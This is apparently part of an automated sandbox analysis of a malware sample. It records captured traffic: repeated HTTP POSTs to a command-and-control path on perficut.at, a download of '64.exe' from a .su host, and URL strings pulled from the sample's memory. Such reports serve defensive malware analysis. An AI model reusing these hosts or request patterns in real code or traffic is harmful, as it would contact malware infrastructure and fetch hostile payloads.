Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmmchdvdhl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qcrfmk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dybvj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sjdvap.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mhgxjfqsf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqwgjhs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lbjhakekto.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crgmjmuijj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://korukrn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://alssy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qxpxbrtvn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://legvdygi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rdrxyeo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vnowdj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ayfunfy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tyxon.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 195Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://capmtub.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ufhdnlxmao.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xxodssdgca.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jouqv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hncaebxe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rjvenvf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wnfirxy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xrupmqdl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: perficut.at
Source: global traffic	HTTP traffic detected: GET /64.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h167471.srv11.test-hf.su
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qfcwg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fkjfqkvydx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: perficut.at

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: Joe Sandbox View

IP Address: 190.114.9.88 190.114.9.88

Source: unknown

Network traffic detected: DNS query count 79

Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://2.gravatar.com/avatar/8f1795d9778dd5337c87d22e0464e1c3?s=96&d=mm&r=g
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.goo.ne.jp/baijaco/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.goo.ne.jp/baijakujaco
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://furec.sakura.ne.jp/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gholographic.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hummer.hu/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifdnzact.com/?dn=x0c.com&pid=9PO755G95
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mobilnic.net/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com/login/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com/register/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://new.nelipak.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pcgrate.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://webeasy.com.hk
Source: DFC9.exe, 00000015.00000002.556938701.0000000007291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.pupi.cz/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.762justice.com
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.abdg.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aevga.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.alteor.cl/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.alteor.cl/_W
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.asdoptics.com
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?today
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?yes
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/gallery.htm
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/images/cd/cdshop/cd_bright
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/images/cd/cdshop/cd_bright%20fortune.html
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/y
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.basmedcol.com
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.c9dd.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.c9dd.com/F
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cokocoko.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cokocoko.com/~
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.crcsi.org/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dayvo.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dayvo.com/-
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.depalo.com/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.depalo.com/Z7
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dgmna.com/IW2N
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dgmna.com/PW5N
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.domon.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.edimart.hu/m
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.edimart.hu/s
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/$7
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/b7
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.evcpa.com/&2
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.evcpa.com/w1dN
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fcwcvt.org/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fcwcvt.org/~1oN
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.findbc.com/
Source: DFC9.exe, 00000015.00000002.554564519.00000000034A9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.fnw.us
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fnw.us/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fnw.us/PH
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ftchat.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ftchat.com/4
Source: DFC9.exe, 00000015.00000002.555174097.000000000484D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.gpthink.com
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gpthink.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.holleman.us/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hummer.hu/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iamdirt.com/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iamdirt.com/p7
Source: DFC9.exe, 00000015.00000002.555507674.000000000566D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.item-pr.com
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.item-pr.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.item-pr.com/$P
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.item-pr.com/d
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jacomfg.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jchysk.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jchysk.com/5
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jenco.co.uk/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jenco.co.uk/e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.litespeedtech.com/error-page
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.medisa.info/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=25
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=60
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=61
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=62
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=67
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=68
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=69
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=8
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/article.php?id=70
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/article.php?id=71
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/article.php?id=72
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1400
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1479
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1647
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1648
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1649
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1650
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1766
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1869
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1879
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1883
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1884
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1885
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/article/show_article.php?id=1886
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=4
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=63
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=64
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=65
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=66
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=73
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=80
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=81
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=82
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=84
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=87
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=683
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=684
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=685
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=686
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=687
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/show_product.php?id=717
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/template/default/images/5.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905241912296060.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280859514872.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280901053168.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280901466048.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280902356680.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280903087981.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280903341013.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291108419374.jpg)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291214076922.jpg)
